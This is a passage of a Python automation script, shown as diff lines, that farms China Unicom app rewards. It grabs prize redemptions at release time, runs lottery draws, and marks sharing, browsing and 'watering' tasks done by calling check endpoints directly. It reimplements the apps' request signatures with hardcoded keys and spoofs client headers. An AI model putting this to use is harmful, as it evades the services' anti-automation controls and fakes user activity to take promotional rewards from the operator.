最终锁定场次: [{best_candidate['timeStr']}] {best_candidate['name']}") + if best_candidate['startTime']: + start_time = best_candidate['startTime'] + wait_seconds = (start_time - datetime.now()).total_seconds() + if wait_seconds > 0: + if wait_seconds > 300: + self.log(f"⏳ 距离开抢还有 {wait_seconds:.1f} 秒,大于5分钟,暂不等待。建议在临近时间(如提前2分钟)再运行脚本。") + return + self.log(f"⏳ 正在等待开抢... (剩余 {wait_seconds:.1f} 秒)") + while (best_candidate['startTime'] - datetime.now()).total_seconds() > 0.5: + time.sleep(0.5) + else: + self.log(f"⚡ 当前时间已超过场次时间 {abs(wait_seconds):.1f}s,直接抢兑!") + self.sign_grab_execute(best_candidate) + + def sign_grab_execute(self, candidate): + for i in range(1, 6): + self.log(f"🔥 [第{i}次冲击] 发起兑换请求...") + try: + data = { + "product_id": candidate['id'], + "typeCode": candidate['typeCode'] + } + url = GRAB_URL + headers = { + "Origin": "https://img.client.10010.com", + "Referer": "https://img.client.10010.com/", + "X-Requested-With": "com.sinovatech.unicom.ui" + } + res = self.request("post", url, data=data, headers=headers) + if not res: continue + result = res.json() + uuid_val = result.get('data', {}).get('uuid') + status = result.get('status') + if status == "0000" and uuid_val: + self.log(f"📝 [提交成功] 获取到工单号: {uuid_val},正在查询最终结果...") + check_url = "https://act.10010.com/SigninApp/convert/prizeConvertResult" + check_data = { "uuid": uuid_val } + check_res = self.request("post", check_url, data=check_data, headers=headers) + if not check_res: continue + final_res = check_res.json() + final_status = final_res.get('status') + if final_status == "0000": + self.log(f"🎉🎉🎉 [抢兑成功] 恭喜!已成功抢到目标奖品! 🎉🎉🎉", notify=True) + return + else: + err_code = final_res.get('data', {}).get('errorCode', '') + msg = final_res.get('msg', '') or final_res.get('message', '未知原因') + detail_msg = final_res.get('data', {}).get('rightBtn', {}).get('name', '') + log_msg = f"💔 [抢兑失败] 状态: {final_status}" + if err_code: log_msg += f" | 错误码: {err_code}" + if detail_msg: log_msg += f" | 详情: {detail_msg}" + log_msg += f" | 提示: {msg}" + self.log(log_msg, notify=True) + else: + self.log(f"📝 提交结果: {result.get('msg') or result.get('message') or json.dumps(result)}") + time.sleep(0.2) + except Exception as e: + self.log(f"❌ 抢兑异常: {str(e)}") + + def get_wocare_body(self, apiCode, requestData={}): + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + str(int(datetime.now().microsecond / 1000)).zfill(3) + encodedContent = base64.b64encode(json.dumps(requestData, separators=(',', ':')).encode('utf-8')).decode('utf-8') + body = { + "version": WOCARE_CONSTANTS["minRetries"], + "apiCode": apiCode, + "channelId": WOCARE_CONSTANTS["anotherApiKey"], + "transactionId": timestamp + self.random_string(6, "0123456789"), + "timeStamp": timestamp, + "messageContent": encodedContent + } + params_array = [] + for key in sorted(body.keys()): + params_array.append(f"{key}={body[key]}") + params_array.append(f"sign={WOCARE_CONSTANTS['anotherEncryptionKey']}") + sign_str = "&".join(params_array) + body["sign"] = hashlib.md5(sign_str.encode('utf-8')).hexdigest() + return body + + def wocare_api(self, apiCode, requestData={}): + try: + url = f"https://wocare.unisk.cn/api/v1/{apiCode}" + body = self.get_wocare_body(apiCode, requestData) + res = self.request("post", url, data=body) + if not res: return None + result = res.json() + if result.get("messageContent"): + try: + content = result["messageContent"] + content = content.replace('\n', '').replace('\r', '').replace(' ', '') + content = content.replace('-', '+').replace('_', '/') + missing_padding = len(content) % 4 + if missing_padding: + content += '=' * (4 - missing_padding) + try: + decoded_bytes = base64.b64decode(content) + decoded_str = decoded_bytes.decode('utf-8') + except UnicodeDecodeError: + decoded_str = decoded_bytes.decode('utf-8', errors='replace') + except Exception as e: + decoded_str = "{}" + try: + decoded = json.loads(decoded_str, strict=False) + except: + decoded_str = re.sub(r'[\x00-\x1f\x7f]', '', decoded_str) + try: + decoded = json.loads(decoded_str, strict=False) + except: + decoded = {} + if isinstance(decoded, dict): + if "data" in decoded: + result["data"] = decoded["data"] + else: + result["data"] = decoded + if "resultMsg" in decoded: + result["resultMsg"] = decoded["resultMsg"] + if "resultCode" in decoded: + result["resultCode"] = decoded["resultCode"] + except Exception as e: + self.log(f"联通祝福: 解析返回失败: {str(e)}") + return result + except Exception as e: + self.log(f"wocare_api 异常: {str(e)}") + return None + + def wocare_getToken(self, ticket): + try: + url = "https://wocare.unisk.cn/mbh/getToken" + params = { + "channelType": WOCARE_CONSTANTS["serviceLife"], + "type": "02", + "ticket": ticket, + "version": COMMON_CONSTANTS["APP_VERSION"], + "timestamp": datetime.now().strftime('%Y%m%d%H%M%S') + str(int(datetime.now().microsecond / 1000)).zfill(3), + "desmobile": self.account_mobile, + "num": "0", + "postage": self.random_string(32), + "homePage": "home", + "duanlianjieabc": "qAz2m", + "userNumber": self.account_mobile + } + res = self.session.get(url, params=params, allow_redirects=False, timeout=15) + if res.status_code == 302: + location = res.headers.get("Location", "") + if location: + parsed = urlparse(location) + sid = parse_qs(parsed.query).get("sid", [None])[0] + if not sid: + sid = parse_qs(parsed.query).get("uuid", [None])[0] + if sid: + self.log(f"联通祝福: 未找到sid,使用uuid替代: {sid}") + if sid: + self.wocare_sid = sid + return self.wocare_loginmbh() + else: + self.log(f"联通祝福: 没有获取到sid或uuid, Location: {location}") + else: + self.log("联通祝福: 没有获取到location") + else: + self.log(f"联通祝福: 获取sid失败[{res.status_code}]") + except Exception as e: + self.log(f"wocare_getToken 异常: {str(e)}") + return False + + def wocare_loginmbh(self): + try: + apiCode = "loginmbh" + requestData = { + "sid": self.wocare_sid, + "channelType": WOCARE_CONSTANTS["serviceLife"], + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + if not result: return False + responseResult = result + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + self.wocare_token = responseResult.get("data", {}).get("token") + self.log("联通祝福: 登录成功") + return True + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + self.log(f"联通祝福: 登录失败[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_loginmbh 异常: {str(e)}") + return False + + def wocare_getDrawTask(self, activity): + try: + apiCode = "getDrawTask" + requestData = { + "token": self.wocare_token, + "channelType": WOCARE_CONSTANTS["serviceLife"], + "type": activity["id"], + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + responseResult = result if result else {} + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + taskList = responseResult.get("data", {}).get("taskList", []) or [] + if not taskList: + pass + else: + self.log(f"联通祝福: [{activity['name']}] 查询到 {len(taskList)} 个任务") + for task in taskList: + ts = task.get("taskStatus") + if str(ts) == "0" or not ts: + self.wocare_completeTask(activity, task) + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + self.log(f"联通祝福: [{activity['name']}]查询任务失败[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_getDrawTask 异常: {str(e)}") + + def wocare_completeTask(self, activity, task, taskStep="1"): + try: + taskTitle = task.get("title", "") + action = "领取任务" if taskStep == "1" else "完成任务" + apiCode = "completeTask" + requestData = { + "token": self.wocare_token, + "channelType": WOCARE_CONSTANTS["serviceLife"], + "task": task.get("id"), + "taskStep": taskStep, + "type": activity["id"], + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + responseResult = result if result else {} + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + self.log(f"联通祝福: {action}[{taskTitle}]成功") + if taskStep == "1": + time.sleep(1) + self.wocare_completeTask(activity, task, "4") + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + self.log(f"联通祝福: [{activity['name']}]{action}[{taskTitle}]失败[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_completeTask 异常: {str(e)}") + + def wocare_getSpecificityBanner(self): + try: + apiCode = "getSpecificityBanner" + requestData = { + "token": self.wocare_token, + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + responseResult = result if result else {} + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + bannerList = responseResult.get("data", []) or [] + if not bannerList: + self.log(f"联通祝福: 获取动态 Banner 列表为空,接口明细: {responseResult}") + for banner in bannerList: + if str(banner.get("activityStatus")) == "0" and str(banner.get("isDeleted")) == "0": + self.wocare_getDrawTask(banner) + self.wocare_loadInit(banner) + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc", "") + self.log(f"联通祝福: 进入活动失败[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_getSpecificityBanner 异常: {str(e)}") + + def wocare_loadInit(self, activity): + try: + apiCode = "loadInit" + requestData = { + "token": self.wocare_token, + "channelType": WOCARE_CONSTANTS["serviceLife"], + "type": activity["id"], + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + responseResult = result if result else {} + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + responseData = responseResult.get("data", {}) or {} + activeModuleGroupId = responseData.get("zActiveModuleGroupId") + drawCount = 0 + aid = activity["id"] + if aid == 2: + isPartake = responseData.get("data", {}).get("isPartake") or 0 + if not isPartake: + drawCount = 1 + elif aid == 3: + drawCount = int(responseData.get("raffleCountValue", 0) or 0) + elif aid == 4: + drawCount = int(responseData.get("mhRaffleCountValue", 0) or 0) + if drawCount > 0: + self.log(f"联通祝福: [{activity['name']}] 可抽奖次数 {drawCount}") + else: + self.log(f"联通祝福: [{activity['name']}] 今日已无抽奖机会") + while drawCount > 0: + time.sleep(2) + self.wocare_luckDraw(activity, activeModuleGroupId) + drawCount -= 1 + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + self.log(f"联通祝福: [{activity['name']}]查询活动失败[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_loadInit 异常: {str(e)}") + + def wocare_luckDraw(self, activity, activeModuleGroupId): + try: + apiCode = "luckDraw" + requestData = { + "token": self.wocare_token, + "channelType": WOCARE_CONSTANTS["serviceLife"], + "zActiveModuleGroupId": activeModuleGroupId, + "type": activity["id"], + "apiCode": apiCode + } + result = self.wocare_api(apiCode, requestData) + responseResult = result if result else {} + resultCode = responseResult.get("resultCode", "-1") + if resultCode == "0000": + resultData = responseResult.get("data", {}) or {} + drawResultCode = resultData.get("resultCode", "-1") + if drawResultCode == "0000": + prize = resultData.get("data", {}).get("prize", {}) + prizeName = prize.get("prizeName", "") + prizeDesc = prize.get("prizeDesc", "") + self.log(f"联通祝福: [{activity['name']}]抽奖: {prizeName}[{prizeDesc}]", notify=True) + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + if msg.lower() == "success": + self.log(f"联通祝福: [{activity['name']}] 未中奖 (继续努力)") + else: + self.log(f"联通祝福: [{activity['name']}] 抽奖并未中奖: {msg}") + else: + msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or "" + if msg.lower() == "success": + self.log(f"联通祝福: [{activity['name']}] 未中奖 (继续努力)") + else: + self.log(f"联通祝福: [{activity['name']}] 抽奖异常[{resultCode}]: {msg}") + except Exception as e: + self.log(f"wocare_luckDraw 异常: {str(e)}") + + def parse_jwt_payload(self, token): + try: + payload = token.split('.')[1] + padding = len(payload) % 4 + if padding: + payload += '=' * (4 - padding) + payload = payload.replace('-', '+').replace('_', '/') + decoded_bytes = base64.b64decode(payload) + return json.loads(decoded_bytes.decode('utf-8')) + except Exception as e: + self.log(f"JWT Decode Error: {e}") + return {} + + def generate_market_signature_headers(self, user_token, query_string="", json_body=""): + try: + token = user_token.replace('Bearer ', '') + payload = self.parse_jwt_payload(token) + login_id = payload.get('loginId', '') + app_secret = hashlib.md5(f"al:ak:{login_id}".encode('utf-8')).hexdigest() + nonce = str(uuid.uuid4()) + message = f"{login_id}{app_secret}{nonce}{query_string or ''}{json_body or ''}" + signature = base64.b64encode( + hmac.new( + app_secret.encode('utf-8'), + message.encode('utf-8'), + digestmod=hashlib.sha256 + ).digest() + ).decode('utf-8') + return { + 'X-User-Id': login_id, + 'X-Nonce': nonce, + 'X-Timestamp': str(int(time.time() * 1000)), + 'X-Signature': signature, + 'Content-Type': 'application/json' + } + except Exception as e: + self.log(f"Signature Generation Error: {e}") + return {} + + def generate_market_watering_signature_headers(self, user_token, xbsosjl, login_id): + try: + signature_ts = str(int(time.time() * 1000)) + message = f"td:433:tp{xbsosjl}td:334:et{login_id}td:334:et{signature_ts}td:334:et" + signature = base64.b64encode( + hmac.new( + str(login_id).encode('utf-8'), + message.encode('utf-8'), + digestmod=hashlib.sha256, + ).digest() + ).decode('utf-8') + return {'X-Signature': signature} + except Exception as e: + self.log(f"Market Watering Signature Error: {e}") + return {} + + def get_market_headers(self, user_token): + return { + 'User-Agent': COMMON_CONSTANTS['MARKET_UA'], + 'Authorization': f"Bearer {user_token}", + 'Content-Type': 'application/json', + 'X-Requested-With': 'com.sinovatech.unicom.ui' + } + + def market_get_ticket(self): + self.log("权益超市: 正在获取 ticket...") + target_url = "https://contact.bol.wo.cn/market" + res = self.openPlatLineNew(target_url) + if res and 'ticket' in res: + self.log("权益超市: 获取ticket成功") + return res['ticket'] + self.log("权益超市: 获取ticket失败") + return None + + def market_get_user_token(self, ticket): + url = f"https://backward.bol.wo.cn/prod-api/auth/marketUnicomLogin?ticket={ticket}" + headers = { + 'User-Agent': COMMON_CONSTANTS['MARKET_UA'], + 'Connection': "Keep-Alive", + 'Accept-Encoding': "gzip", + } + for attempt in range(1, 4): + try: + self.log(f"权益超市: 正在获取 userToken...{f' (第{attempt}次重试)' if attempt > 1 else ''}") + res = self.session.post(url, headers=headers, timeout=30).json() + if res.get('code') == 200: + user_token = res.get('data', {}).get('token') + if user_token: + self.log("权益超市: 获取userToken成功") + return user_token + self.log(f"权益超市: 获取userToken失败: {res.get('msg')}") + except Exception as e: + self.log(f"权益超市: 获取userToken异常: {e}") + if attempt < 3: + self.log(f"权益超市: 等待5秒后重试...") + time.sleep(5) + return None + + def query_market_watering_status(self, user_token): + try: + status_url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getMultiCycleProcess?activityId=13" + headers = self.get_market_headers(user_token) + res = self.session.get(status_url, headers=headers).json() + if res.get('code') == 200: + data = res.get('data', {}) + triggered_time = data.get('triggeredTime', 0) + trigger_time = data.get('triggerTime', 0) + create_date = data.get('createDate', '') + self.log(f"权益超市-浇花当前状况: 进度 {triggered_time}/{trigger_time}", notify=True) + if triggered_time >= trigger_time: + self.log("权益超市-浇花: 🌟 您有鲜花权益待领取! (连续浇花已满) 🌟", notify=True) + else: + today_str = datetime.now().strftime('%Y-%m-%d') + last_watered = create_date.split(' ')[0] if create_date else '' + if today_str == last_watered: + self.log(f"权益超市-浇花: 今日已浇水 (最后: {create_date})", notify=True) + else: + self.log("权益超市-浇花: 今日尚未浇水。") + else: + self.log(f"权益超市-浇花查验: 查询状态失败: {res.get('msg')}") + except Exception as e: + self.log(f"权益超市-浇花查验: 异常: {e}") + + def market_watering_task(self, user_token): + self.log("权益超市: 浇花任务开始...") + try: + status_url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getMultiCycleProcess?activityId=13" + headers = self.get_market_headers(user_token) + res = self.session.get(status_url, headers=headers).json() + if res.get('code') != 200: + self.log(f"权益超市-浇花: 获取状态失败: {res.get('msg')}") + return + data = res.get('data', {}) + triggered_time = data.get('triggeredTime', 0) + trigger_time = data.get('triggerTime', 0) + create_date = data.get('createDate', '') + self.log(f"权益超市-浇花: 当前进度 {triggered_time}/{trigger_time}", notify=True) + if triggered_time >= trigger_time: + self.log("权益超市-浇花: 🌟 您有鲜花权益待领取! (连续浇花已满) 🌟", notify=True) + return + today_str = datetime.now().strftime('%Y-%m-%d') + last_watered = create_date.split(' ')[0] if create_date else '' + if today_str == last_watered: + self.log(f"权益超市-浇花: 今日已浇水 (最后: {create_date})", notify=True) + return + self.log("权益超市-浇花: 今日未浇水,执行浇水操作...") + token = user_token.replace('Bearer ', '') + payload = self.parse_jwt_payload(token) + login_id = payload.get('loginId', '') + if not login_id: + self.log("权益超市-浇花: ❌ 无法获取登录标识,跳过") + return + xbsosjl = "Y1mN8fNYktY0" + request_ts = str(int(time.time() * 1000)) + query_string = f"xbsosjl={xbsosjl}&timeVerRan={request_ts}&diceid={login_id}" + watering_url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkWatering?{query_string}" + req_headers = { + 'Authorization': f"Bearer {user_token.replace('Bearer ', '')}", + 'X-Signature': self.generate_market_watering_signature_headers(user_token, xbsosjl, login_id).get('X-Signature', ''), + 'User-Agent': COMMON_CONSTANTS['MARKET_H5_UA'], + 'Content-Type': 'application/json', + 'Origin': 'https://contact.bol.wo.cn', + 'Referer': 'https://contact.bol.wo.cn/', + 'X-Requested-With': 'com.sinovatech.unicom.ui', + 'Accept': '*/*', + } + res = self.session.post(watering_url, headers=req_headers, data="{}").json() + if res.get('code') == 200: + self.log("权益超市-浇花: ✅ 浇水成功!", notify=True) + return + self.log(f"权益超市-浇花: ❌ 浇水失败: {res.get('msg')}") + except Exception as e: + self.log(f"权益超市-浇花: 异常: {e}") + + def market_get_raffle(self, user_token): + self.log("权益超市: 正在查询奖品池...") + try: + timestamp = int(time.time() * 1000) + query_string = f"id=12&timeVerRan={timestamp}" + json_body = "{}" + sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body) + url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/prizeList?{query_string}" + headers = self.get_market_headers(user_token) + headers.update(sig_headers) + headers['Referer'] = 'https://contact.bol.wo.cn/market' + headers['Origin'] = 'https://contact.bol.wo.cn' + res = self.session.post(url, headers=headers, data=json_body).json() + if res.get('code') == 200 and isinstance(res.get('data'), list): + keywords = ['月卡', '月会员', '月度', 'VIP月', '一个月', '周卡'] + exclude = ['5G宽视界', '沃视频'] + live_prizes = [] + for p in res['data']: + vip_prob = float(p.get('probabilityVip') or p.get('newVipProbability') or 0) + norm_prob = float(p.get('probability') or 0) + name = p.get('name', '') + daily_limit = int(p.get('dailyPrizeLimit') or 0) + match = any(k in name for k in keywords) + not_excluded = not any(e in name for e in exclude) + has_stock = daily_limit > 0 + has_chance = norm_prob > 0 or vip_prob > 0 + if match and not_excluded and has_stock and has_chance: + live_prizes.append(p) + total_limit = int(p.get('quantity') or 0) + self.log(f"权益超市: 【{name}】监测到放水 (日库存:{daily_limit}, 总库存:{total_limit}, 普通概率:{(norm_prob * 100):.4f}%, VIP概率:{(vip_prob * 100):.4f}%)") + if live_prizes: + return True + self.log("权益超市: 📢 未监测到高价值权益放水") + return False + except Exception as e: + self.log(f"权益超市: 查询奖品池异常: {e}") + return False + + def market_get_raffle_count(self, user_token): + try: + timestamp = int(time.time() * 1000) + query_string = f"id=12&channel=unicomTab&timeVerRan={timestamp}" + json_body = "{}" + sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body) + url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/getUserRaffleCountExt?{query_string}" + headers = self.get_market_headers(user_token) + headers.update(sig_headers) + headers['Referer'] = 'https://contact.bol.wo.cn/market' + headers['Origin'] = 'https://contact.bol.wo.cn' + res = self.session.post(url, headers=headers, data=json_body).json() + count = 0 + if res.get('code') == 200: + data = res.get('data') + if isinstance(data, dict): + count = int(data.get('raffleCount') or 0) + else: + count = int(data or 0) + if count > 0: + self.log(f"权益超市: ✅ 当前抽奖次数: {count}") + for i in range(count): + self.log(f"权益超市: 🎯 第 {i+1} 次抽奖...") + if not self.market_user_raffle(user_token): + break + time.sleep(3 + random.random() * 2) + else: + self.log("权益超市: 当前无抽奖次数") + except Exception as e: + self.log(f"权益超市: 查询抽奖次数异常: {e}") + + def market_user_raffle(self, user_token): + try: + timestamp = int(time.time() * 1000) + query_string = f"id=12&channel=unicomTab&timeVerRan={timestamp}" + json_body = "{}" + sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body) + url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/userRaffle?{query_string}" + headers = self.get_market_headers(user_token) + headers.update(sig_headers) + headers['Referer'] = 'https://contact.bol.wo.cn/market' + res = self.session.post(url, headers=headers, data=json_body).json() + if res.get('code') == 200: + data = res.get('data', {}) + prize_name = data.get('prizesName', '') + message = data.get('message') or res.get('msg') or "" + if prize_name and "谢谢参与" not in prize_name: + self.log(f"权益超市: 🎉 抽奖成功: {prize_name}", notify=True) + return True + self.log(f"权益超市: 💨 未中奖: {message}", notify=True) + return True + self.log(f"权益超市: 抽奖失败: {res.get('msg')}") + return False + except Exception as e: + self.log(f"权益超市: 抽奖异常: {e}") + return False + + def market_get_all_tasks(self, ecs_token, user_token): + url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getAllActivityTasks?activityId=12" + headers = { + "Authorization": f"Bearer {user_token}", + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + "Origin": "https://contact.bol.wo.cn", + "Referer": "https://contact.bol.wo.cn/", + "Cookie": f"ecs_token={ecs_token}" + } + for attempt in range(1, 4): + try: + self.log(f"权益超市: 正在获取任务列表...{f' (第{attempt}次重试)' if attempt > 1 else ''}") + res = self.session.get(url, headers=headers, timeout=15).json() + if res.get('code') == 200: + tasks = res.get('data', {}).get('activityTaskUserDetailVOList', []) + self.log(f"权益超市: 成功获取到 {len(tasks)} 个任务") + return tasks + self.log(f"权益超市: 查询任务列表失败: {res.get('msg')}") + except Exception as e: + self.log(f"权益超市: 获取任务列表异常: {e}") + if attempt < 3: + self.log("权益超市: 等待5秒后重试...") + time.sleep(5) + return [] + + def market_do_share_list(self, share_list, user_token): + self.log("权益超市: 开始执行任务...") + for task in share_list: + name = task.get('name', '') + param = task.get('param1', '') + trigger_time = task.get('triggerTime', 0) + triggered_time = task.get('triggeredTime', 0) + if any(k in name for k in ["购买", "秒杀"]): + self.log(f"权益超市: 🚫 {name} [跳过]") + continue + if triggered_time >= trigger_time: + self.log(f"权益超市: ✅ {name} [已完成]") + continue + url = "" + if any(k in name for k in ["浏览", "查看"]): + url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkView?checkKey={param}" + elif "分享" in name: + url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkShare?checkKey={param}" + if url: + try: + headers = { + "Authorization": f"Bearer {user_token}", + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + "Origin": "https://contact.bol.wo.cn", + "Referer": "https://contact.bol.wo.cn/" + } + res = self.session.post(url, json={}, headers=headers, timeout=15).json() + if res.get('code') == 200: + self.log(f"权益超市: ✅ {name} [执行成功]") + else: + self.log(f"权益超市: ❌ {name} [执行失败]: {res.get('msg')}") + except Exception as e: + self.log(f"权益超市: ❌ {name} [执行异常]: {e}") + time.sleep(2) + + def market_get_points_ticket(self, user_token): + try: + res = self.session.get( + "https://backward.bol.wo.cn/prod-api/auth/getTicket?channel=pointsPlatform", + headers={ + "Authorization": f"Bearer {user_token}", + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + }, + timeout=15, + ).json() + if res.get("code") == 200 and res.get("data"): + return res.get("data") + self.log(f"权益超市-会员中心: 获取 points ticket 失败: {res.get('msg') or res}") + except Exception as e: + self.log(f"权益超市-会员中心: 获取 points ticket 异常: {e}") + return None + + def market_member_center_base_headers(self, points_ticket): + referer = ( + f"https://m.jf.10010.com/ts-mobile/well/{MARKET_MEMBER_CENTER_PAGE_ID}" + f"?distributeId={MARKET_MEMBER_CENTER_DISTRIBUTE_ID}" + f"&partnersId={MARKET_MEMBER_CENTER_PARTNERS_ID}" + f"&clientType={MARKET_MEMBER_CENTER_CLIENT_TYPE}" + f"&ticket={points_ticket}" + ) + return { + "origin": "https://m.jf.10010.com", + "clienttype": MARKET_MEMBER_CENTER_CLIENT_TYPE, + "ticket": points_ticket, + "partnersid": MARKET_MEMBER_CENTER_PARTNERS_ID, + "content-type": "application/json;charset=UTF-8", + "pageid": MARKET_MEMBER_CENTER_PAGE_ID, + "Accept": "application/json, text/plain, */*", + "Referer": referer, + "User-Agent": COMMON_CONSTANTS["MARKET_H5_UA"], + "X-Requested-With": "com.sinovatech.unicom.ui", + } + + def market_get_secret_key_jf(self, points_ticket): + if ( + getattr(self, "market_jf_secretKey", None) + and getattr(self, "market_jf_ticket", None) == points_ticket + ): + return self.market_jf_secretKey + try: + res = self.session.get( + "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey", + headers=self.market_member_center_base_headers(points_ticket), + timeout=10, + ).json() + secret = res.get("data", {}).get("secretKey") + if res.get("code") == "0000" and secret: + self.market_jf_ticket = points_ticket + self.market_jf_secretKey = secret.encode("utf-8") + return self.market_jf_secretKey + self.log(f"权益超市-会员中心: getSecretKey 失败: {res}") + except Exception as e: + self.log(f"权益超市-会员中心: getSecretKey 异常: {e}") + return None + + def market_build_signature_headers_jf(self, points_ticket): + secret_key = self.market_get_secret_key_jf(points_ticket) + if not secret_key: + return {} + request_ts = str(round(time.time() * 1000)) + nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8)) + signature = hmac.new( + secret_key, + f"{nonce}{request_ts}".encode("utf-8"), + hashlib.sha256, + ).hexdigest() + return { + "x-request-timestamp": request_ts, + "x-request-nonce": nonce, + "x-request-signature": signature, + } + + def market_member_center_headers(self, points_ticket, with_sign=False): + headers = self.market_member_center_base_headers(points_ticket) + if with_sign: + headers.update(self.market_build_signature_headers_jf(points_ticket)) + return headers + + def market_prepare_member_center_context(self, points_ticket): + signed_headers = self.market_member_center_headers(points_ticket, with_sign=True) + try: + self.session.post( + "https://m.jf.10010.com/jf-external-application/page/query", + json={ + "activityId": MARKET_MEMBER_CENTER_PAGE_ID, + "distributeId": MARKET_MEMBER_CENTER_DISTRIBUTE_ID, + "partnersId": MARKET_MEMBER_CENTER_PARTNERS_ID, + }, + headers=signed_headers, + timeout=10, + ) + except Exception as e: + self.log(f"权益超市-会员中心: page/query 预热异常: {e}") + try: + self.session.post( + "https://m.jf.10010.com/jf-external-application/jftask/userInfo", + json={}, + headers=self.market_member_center_headers(points_ticket, with_sign=True), + timeout=10, + ) + except Exception as e: + self.log(f"权益超市-会员中心: userInfo 预热异常: {e}") + + def market_member_center_finish_code(self, task): + return safe_int(task.get("finish", task.get("status", 0)), 0) + + def market_member_center_finish_text(self, task): + finish_text = str(task.get("finishText", "")).strip() + if finish_text: + return finish_text + return { + 0: "未完成", + 99: "待领取", + 100: "已领取", + }.get(self.market_member_center_finish_code(task), "未知状态") + + def market_query_member_center_task(self, points_ticket): + try: + res = self.session.post( + "https://m.jf.10010.com/jf-external-application/jftask/taskDetail", + json={}, + headers=self.market_member_center_headers(points_ticket, with_sign=True), + timeout=10, + ).json() + if res.get("code") != "0000": + self.log(f"权益超市-会员中心: 查询任务失败: {res}") + return None + task_list = res.get("data", {}).get("taskDetail", {}).get("taskList", []) + return next( + (task for task in task_list if str(task.get("taskCode")) == MARKET_MEMBER_CENTER_TASK_CODE), + None, + ) + except Exception as e: + self.log(f"权益超市-会员中心: 查询任务异常: {e}") + return None + + def market_wait_member_center_task_state(self, points_ticket, expected_codes, attempts=4, delay=2): + task = None + for idx in range(1, attempts + 1): + task = self.market_query_member_center_task(points_ticket) + if task: + finish_code = self.market_member_center_finish_code(task) + finish_text = self.market_member_center_finish_text(task) + text_matches = ( + (finish_text == "待领取" and 99 in expected_codes) + or (finish_text == "已领取" and 100 in expected_codes) + ) + if finish_code in expected_codes or text_matches: + return task + self.log( + f"权益超市-会员中心: 第{idx}次回查状态 {finish_text}/{finish_code}," + f"本月进度 {safe_int(task.get('finishCount'), 0)}/{safe_int(task.get('needCount'), 0)}" + ) + if idx < attempts: + time.sleep(delay) + self.market_prepare_member_center_context(points_ticket) + return task + + def market_mark_member_center_browse_done(self, user_token, task_fix_id): + try: + headers = { + "Authorization": f"Bearer {user_token}", + "Origin": "https://contact.bol.wo.cn", + "Referer": "https://contact.bol.wo.cn/", + "Content-Type": "application/json", + "Accept": "*/*", + "User-Agent": COMMON_CONSTANTS["MARKET_H5_UA"], + "X-Requested-With": "com.sinovatech.unicom.ui", + } + detail = self.session.get( + f"https://backward.bol.wo.cn/prod-api/promotion/activityTask/getActivityTaskDetailByFixId?taskFixId={task_fix_id}", + headers=headers, + timeout=10, + ).json() + if detail.get("code") != 200: + self.log(f"权益超市-会员中心: 获取任务详情失败: {detail.get('msg') or detail}") + return False + task_data = detail.get("data") or {} + check_key = task_data.get("param1") + wait_seconds = max(safe_int(task_data.get("content"), 17), 15) + if not check_key: + self.log("权益超市-会员中心: 未拿到 checkKey,跳过浏览任务") + return False + self.log(f"权益超市-会员中心: 模拟浏览会员中心 {wait_seconds} 秒") + time.sleep(wait_seconds) + check = self.session.post( + f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkView?checkKey={check_key}", + json={}, + headers=headers, + timeout=10, + ).json() + if check.get("code") == 200 and check.get("data") is True: + self.log("权益超市-会员中心: 浏览完成,任务已进入待领取") + return True + self.log(f"权益超市-会员中心: checkView 失败: {check.get('msg') or check}") + except Exception as e: + self.log(f"权益超市-会员中心: 浏览任务异常: {e}") + return False + + def market_receive_member_center_points(self, points_ticket): + try: + res = self.session.post( + "https://m.jf.10010.com/jf-external-application/jfmarkettask/receive", + json={"taskCode": MARKET_MEMBER_CENTER_TASK_CODE}, + headers=self.market_member_center_headers(points_ticket, with_sign=True), + timeout=10, + ).json() + if res.get("code") == "0000": + score = res.get("data", {}).get("score", "未知积分") + title = res.get("data", {}).get("title", "领取成功") + self.log(f"权益超市-会员中心: ✅ {title},获得 {score}", notify=True) + return True + self.log(f"权益超市-会员中心: 领取失败: {res.get('msg') or res}") + except Exception as e: + self.log(f"权益超市-会员中心: 领取异常: {e}") + return False + + def market_member_center_task(self, user_token): + self.log("权益超市-会员中心: 开始检查浏览任务") + points_ticket = self.market_get_points_ticket(user_token) + if not points_ticket: + return + 